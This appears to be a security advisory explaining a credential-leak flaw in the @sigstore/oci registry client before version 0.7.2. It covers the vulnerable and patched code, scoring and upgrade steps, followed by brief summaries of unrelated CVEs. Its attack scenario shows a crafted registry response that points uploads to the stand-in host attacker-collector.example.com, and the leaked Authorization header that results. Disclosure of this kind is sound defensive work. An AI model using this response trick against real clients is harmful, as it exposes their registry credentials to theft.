Oct 30, 2026·10 min read·4 visits
Versions of @sigstore/oci prior to 0.7.2 attach registry authentication headers as global defaults on the underlying HTTP client. During blob uploads, if an OCI registry responds with a cross-origin Location header, the client executes a new PUT request to the external URI and exposes registry credentials to the remote host.
A credential exposure vulnerability exists in the @sigstore/oci library prior to version 0.7.2. The RegistryClient implementation stores sensitive authentication headers, including Bearer tokens, Basic authentication credentials, and custom Docker configuration headers, as client-wide defaults on its shared HTTP client instance. When uploading binary blobs via the OCI distribution specification, the client extracts the target upload URI from the server-supplied Location header and dispatches an independent HTTP PUT request. If a compromised or untrusted registry returns a cross-origin URI in the Location header, the client transmits the stored authentication credentials directly to the third-party host.
The sigstore-js project provides JavaScript and TypeScript libraries for interacting with Sigstore supply chain security services. Within this monorepo, the @sigstore/oci package implements client functionality for interacting with Open Container Initiative (OCI) registries. Developers and automated CI/CD pipelines use @sigstore/oci (often via @sigstore/cli) to verify container images and attach cryptographic artifacts such as attestations and signature bundles.
In versions of @sigstore/oci prior to 0.7.2, a cross-origin credential exposure vulnerability exists within the RegistryClient class located in packages/oci/src/registry.ts. Tracked as CVE-2026-118763 (GHSA-j63v-mwhm-56jx) and classified under CWE-522 (Insufficiently Protected Credentials), this flaw stems from how the client manages authentication state across sequential HTTP requests during the OCI blob upload workflow.
When authenticating to a container registry, RegistryClient.signIn() configures registry credentials as default headers on the internal make-fetch-happen HTTP client instance. Because these headers are bound globally to the client instance rather than scoped to the registry's origin, every subsequent HTTP request dispatched through that client automatically inherits the Authorization header and any custom Docker authentication headers.
This vulnerability is a residual flaw related to CVE-2026-59891. While the remediation for CVE-2026-59891 restricted credential lookup in credentials.ts to exact host matches rather than substring matches, it did not restrict the destination origins to which registry.ts would subsequently transmit those resolved credentials during multi-step registry operations.
The root cause of CVE-2026-118763 is the combination of global header persistence on the HTTP transport instance and the unconditional resolution of server-supplied Location headers during chunked or monolithic blob uploads. According to the OCI Distribution Specification, uploading a blob requires a two-step process: initiating the upload via an HTTP POST request to /v2/<name>/blobs/uploads/, and then transmitting the binary payload via an HTTP PUT request to the URI specified in the registry's 202 Accepted response Location header.
During the initial signIn() phase, RegistryClient mutates its internal #fetch property using this.#fetch = this.#fetch.defaults({ headers: ... }). Whether the registry negotiates Basic authentication, issues a Bearer token challenge, or accepts custom headers from a Docker configuration file, the resulting credentials become permanently attached to #fetch for the lifetime of the RegistryClient object.
When RegistryClient.uploadBlob() executes, it sends the initial POST request and reads the Location header from the response. If the Location header begins with a forward slash (/), the client prepends the registry's #baseURL. However, if the Location header contains a full, absolute URL pointing to an external origin (for example, https://external-storage.example.com/upload), new URL() parses it as-is.
Standard HTTP clients and browser engines implement security controls that strip sensitive headers like Authorization when automatically following cross-origin 3xx HTTP redirects. Those built-in protections do not trigger in this scenario because 202 Accepted is not a redirect status code. The subsequent PUT request is an entirely new, discrete HTTP request constructed at the application layer by uploadBlob(), causing the underlying make-fetch-happen instance to attach its configured default headers without realizing an origin boundary has been crossed.
Examining packages/oci/src/registry.ts prior to version 0.7.2 illustrates how credentials were bound to the HTTP client and subsequently leaked during blob uploads.
// packages/oci/src/registry.ts (Vulnerable Implementation)
async signIn(creds: Credentials): Promise<void> {
// Binds custom Docker headers globally to the fetch instance
this.#fetch = this.#fetch.defaults({ headers: creds.headers });
const probeResponse = await this.#fetch(
`${this.#baseURL}/v2/${this.#repository}/blobs/uploads/`,
{ method: 'POST' }
);
// ... challenge parsing omitted ...
if (challenge.scheme === 'basic') {
const basicAuth = toBasicAuth(creds);
// Binds Basic auth globally to the fetch instance
this.#fetch = this.#fetch.defaults({
headers: { [HEADER_AUTHORIZATION]: `Basic ${basicAuth}` },
});
return;
}
token = await this.#fetchDistributionToken(creds, challenge);
// Binds Bearer token globally to the fetch instance
this.#fetch = this.#fetch.defaults({
headers: { [HEADER_AUTHORIZATION]: `Bearer ${token}` },
});
}
async uploadBlob(blob: Buffer): Promise<Descriptor> {
// ... digest calculation omitted ...
const postResponse = await this.#fetch(
`${this.#baseURL}/v2/${this.#repository}/blobs/uploads/`,
{ method: 'POST' }
).then(ensureStatus(202));
const location = postResponse.headers.get(HEADER_LOCATION);
if (!location) {
throw new Error('Missing location for blob upload');
}
// If location is an absolute URL, uploadLocation points to the external host
const uploadLocation = new URL(
location.startsWith('/') ? `${this.#baseURL}${location}` : location
);
uploadLocation.searchParams.set('digest', digest);
// Dispatches PUT to arbitrary origin using the credentialed #fetch instance
await this.#fetch(uploadLocation.href, {
method: 'PUT',
body: blob,
headers: { [HEADER_CONTENT_TYPE]: CONTENT_TYPE_OCTET_STREAM },
}).then(ensureStatus(201));
}The remediation, introduced in Pull Request #1762 across commits b855f46cfe81f26481c6d3f4b333dfd00f2fd1b1 and e4ca65c3ab3c675456ab9b0bd04217ceccad3558, decouples credential storage from the HTTP transport client. Instead of calling this.#fetch.defaults(), RegistryClient stores credentials in a private #registryHeaders object and records the canonical #registryOrigin during initialization.
// packages/oci/src/registry.ts (Patched Implementation)
const SENSITIVE_HEADERS = new Set([
'authorization',
'cookie',
'cookie2',
'proxy-authorization',
'www-authenticate',
]);
async #securedFetch(url: string, opts: SecuredRequestOptions = {}): Promise<Response> {
const policy: RedirectPolicy<SecuredFetchState> = {
initial: { defaultsSuppressed: false },
headersForHop: (state, targetOrigin, perReq, regHeaders) => {
// Enforce strict origin matching before attaching registry credentials
const isSameOrigin = targetOrigin === this.#registryOrigin;
const includeDefaults = isSameOrigin && !state.defaultsSuppressed;
const effectivePerRequest = isSameOrigin
? perReq
: stripSensitiveHeaders(perReq);
return {
...(includeDefaults ? regHeaders : {}),
...effectivePerRequest,
};
},
stateForRedirect: (state, targetOrigin) => {
const isSameOrigin = targetOrigin === this.#registryOrigin;
// Permanently suppress credentials if any hop leaves the registry origin
return isSameOrigin ? state : { defaultsSuppressed: true };
},
};
return this.#redirectFetchWithPolicy(url, opts, policy);
}In the patched architecture, all requests pass through #securedFetch(), which implements a manual redirect loop (MAX_REDIRECTS = 20) controlled by a stateful RedirectPolicy. When uploadBlob() issues the PUT request to uploadLocation.href, headersForHop compares targetOrigin against this.#registryOrigin. If the registry offloads blob storage to an external origin (such as an Amazon S3 presigned URL or an attacker-controlled server), isSameOrigin evaluates to false, stripping both #registryHeaders and any per-request headers matching SENSITIVE_HEADERS.
The fix also addresses multi-hop redirect chains and Server-Side Request Forgery (SSRF) vectors. If a request redirects away from #registryOrigin and subsequently redirects back to #registryOrigin, stateForRedirect ensures defaultsSuppressed remains true, preventing credential re-attachment after an untrusted intermediate hop. Furthermore, commit e4ca65c3ab3c675456ab9b0bd04217ceccad3558 introduces network.ts, which enforces HTTPS by default, prohibits HTTPS-to-HTTP downgrades, and validates DNS resolution at socket connection time to block requests to RFC 1918 private networks, loopback addresses (127.0.0.0/8, ::ffff:127.0.0.1), and cloud metadata services (169.254.0.0/16). This provides a complete defense against both cross-origin credential leaks and redirect-based internal network probing.
Exploiting CVE-2026-118763 requires a user or automated CI/CD runner to initiate an artifact upload operation (such as sigstore attach or calling attachArtifactToImage() programmatically) against a malicious, compromised, or attacker-influenced OCI registry. No authentication privileges on the client machine are required by the attacker, though user interaction (or automated pipeline execution) is necessary to trigger the client connection.
Consider an attack scenario where an automated build pipeline pushes attestations to a third-party registry registry.victim.com, or where a developer is socially engineered into attaching a signature bundle to an image hosted on a rogue registry. The victim executes the following command:
sigstore attach registry.victim.com/org/repo:tag --attestation bundle.json -u build-bot -p s3cr3t_t0k3nWhen the command executes, @sigstore/oci invokes signIn() against https://registry.victim.com. Following authentication, the client initiates the blob upload sequence by sending a POST request to https://registry.victim.com/v2/org/repo/blobs/uploads/. The compromised or rogue registry responds with an HTTP 202 Accepted status and injects an external attacker-controlled URL into the Location header:
HTTP/1.1 202 Accepted
Location: https://attacker-collector.example.com/capture
Content-Length: 0Upon receiving this response, the vulnerable uploadBlob() method parses the Location header, appends the digest query parameter, and immediately dispatches an HTTP PUT request to the attacker's server:
PUT /capture?digest=sha256:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 HTTP/1.1
Host: attacker-collector.example.com
Authorization: Basic YnVpbGQtYm90OnMzY3IzdF90MGszbg==
Content-Type: application/octet-streamThe attacker's listener at attacker-collector.example.com logs the incoming request and extracts the plaintext credentials or bearer token from the Authorization header. This technique is particularly effective in environments where users configure shared credentials across multiple registries, or where a compromised registry subdomain redirects upload traffic to exfiltrate broadly scoped OAuth/Bearer tokens issued by a central identity provider.
CVE-2026-118763 is assigned a CVSS v3.1 base score of 7.4 (High) with the vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N. The Attack Vector is Network (AV:N) and Attack Complexity is Low (AC:L), as triggering the flaw relies entirely on standard OCI protocol responses without requiring race conditions or memory corruption. Privileges Required is None (PR:N), while User Interaction is Required (UI:R) because the victim client must actively initiate an upload session.
The Scope is Changed (S:C) and Confidentiality Impact is High (C:H). While the vulnerable component is the local @sigstore/oci client and its trust relationship with the target registry, the vulnerability exposes sensitive authentication material across security boundaries to an unrelated external origin. Direct Integrity (I:N) and Availability (A:N) impacts on the client system are rated as None, though secondary compromise of registry repositories is possible once credentials are stolen.
> [!NOTE] > If an attacker exfiltrates a high-privilege CI/CD token or shared Docker registry credential, they can leverage those credentials to overwrite container images, inject malicious layers, or tamper with software supply chain attestations within the victim's repositories.
According to FIRST.org metrics, the Exploit Prediction Scoring System (EPSS) score for CVE-2026-118763 is 0.003 (0.30% probability of exploitation in the wild within 30 days), placing it in the 22.72nd percentile. The vulnerability is not listed in CISA's Known Exploited Vulnerabilities (KEV) catalog, and there are currently no reports of weaponized exploitation in the wild.
To remediate CVE-2026-118763, organizations and developers must upgrade @sigstore/oci and any dependent packages (such as @sigstore/cli) to version 0.7.2 or later. Version 0.7.2 enforces strict origin scoping for all authentication headers and implements connection-level SSRF protections.
Update the library or CLI tool using npm:
# Update the library dependency in a project
npm install @sigstore/oci@^0.7.2
# Update the global Sigstore CLI installation
npm install -g @sigstore/cli@latestBecause the patch in @sigstore/oci@0.7.2 also introduces strict network destination policies (network.ts) that block connections to private IP ranges, loopback interfaces, and non-HTTPS endpoints by default, workflows that legitimately interact with internal or local container registries (such as localhost:5000 in CI test suites or internal RFC 1918 registries) require explicit configuration to function after upgrading.
When using @sigstore/cli to attach artifacts to an internal or unencrypted local registry, supply the --allow-private-origin flag for each permitted non-public origin:
sigstore attach localhost:5000/org/app:latest \
--attestation bundle.json \
--allow-private-origin http://localhost:5000 \
--allow-private-origin https://auth.internal.corp:8443When consuming @sigstore/oci programmatically in TypeScript or JavaScript, pass the allowedPrivateOrigins array within fetchOpts:
import { attachArtifactToImage } from '@sigstore/oci';
await attachArtifactToImage({
imageName: 'localhost:5000/org/app',
imageDigest: 'sha256:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855',
credentials: { username: 'ci-user', password: process.env.REGISTRY_PASSWORD },
fetchOpts: {
allowedPrivateOrigins: [
'http://localhost:5000',
'https://auth.internal.corp:8443'
],
},
artifact: Buffer.from(attestationPayload),
mediaType: 'application/vnd.dev.sigstore.bundle+json;version=0.1',
});If immediate upgrading is not feasible, restrict CI/CD pipelines and developer workstations to interacting exclusively with trusted, verified container registries, and ensure that registry authentication tokens are tightly scoped with short time-to-live (TTL) durations.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
@sigstore/oci Sigstore | < 0.7.2 | 0.7.2 |
| Attribute | Detail |
|---|---|
| Vulnerability ID | CVE-2026-118763 / GHSA-j63v-mwhm-56jx |
| Weakness Class | CWE-522 (Insufficiently Protected Credentials) |
| Affected Package | @sigstore/oci (< 0.7.2) |
| CVSS v3.1 Score | 7.4 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N) |
| EPSS Score | 0.30% (22.72nd percentile) |
| Impact | Cross-origin exposure of Basic/Bearer registry credentials |
| Exploit Status | None (No known public exploits) |
| CISA KEV Status | Not Listed |
The product transmits or stores sensitive authentication credentials without adequate safeguards, allowing them to be intercepted or disclosed to unintended third parties across origin boundaries.
Prior to version 2.18.0, the Kubeflow Pipelines API server contains a missing authorization and confused deputy vulnerability in its run log streaming endpoint. The HTTP handler for `GET /apis/v1alpha1/runs/{run_id}/nodes/{node_id}/log` fails to propagate incoming request headers to gRPC metadata and omits caller authorization checks against the requested run. Furthermore, the backend accepts the caller-supplied `node_id` parameter directly as a Kubernetes pod name without verifying that the pod belongs to the specified pipeline run. An attacker with network access to the API server who knows a valid run identifier can read live or archived execution logs from any pod containing a `main` container within the run's Kubernetes namespace.
A high-severity Denial of Service (DoS) vulnerability exists in Kubeflow Pipelines prior to version 2.18.0 due to improper handling of highly compressed archive files (CWE-409). The API server decompresses uploaded ZIP and gzip-compressed TAR archives directly into memory without bounding the expanded byte stream or archive traversal metadata. Because decompression occurs before namespace-level authorization in multipart upload handlers, an unauthenticated or unauthorized attacker with network access to the API server can exhaust container heap memory and trigger Out-Of-Memory (OOM) terminations.
An OS command injection and argument injection vulnerability exists in the Nx build system and its official Maven (@nx/maven) and Gradle (@nx/gradle) plugins. When constructing the project dependency graph, the plugins invoke underlying Java build wrappers via subshells while interpolating unsanitized plugin options directly from nx.json into the command arguments. An attacker who supplies a crafted nx.json file via a repository or pull request can execute arbitrary shell commands with the privileges of the user or CI/CD runner invoking any Nx command that computes the project graph.
AdminNeo versions 4.6.2 through 5.4.1 contain an improper input validation vulnerability (CWE-20) in the version verification endpoint (?script=version). An unauthenticated remote attacker can submit a crafted HTTP POST request containing an array parameter for 'version', which is serialized into a shared server-side temporary cache file without type checking or authentication. On subsequent requests, the application deserializes this cached array and passes it to cookie() and rawurlencode(), triggering an uncaught fatal TypeError in PHP 8.x environments and causing a persistent 24-hour Denial of Service (DoS) for all users.
Charmbracelet Soft Serve versions 0.5.0 through 0.12.2 contain an authorization bypass and observable response discrepancy vulnerability in the HTTP Git server. Remote attackers can determine the existence, exact names, and clone URLs of private repositories by issuing crafted Go remote import path discovery requests (?go-get=1) or by observing differential HTTP status codes across Git Smart HTTP, Dumb HTTP, and Git LFS endpoints.
A Time-of-Check to Time-of-Use (TOCTOU) race condition in Charmbracelet Soft Serve versions 0.6.0 through 0.12.2 allows unauthenticated users to retain read access to repositories after their visibility is changed from public to private. The flaw stems from premature cache invalidation in the SetPrivate method prior to committing the visibility update to the underlying database. Concurrent read requests arriving during the database transaction window repopulate the non-expiring in-memory LRU cache with stale public metadata, bypassing access controls across HTTP, SSH, and Git protocols until the server process is restarted.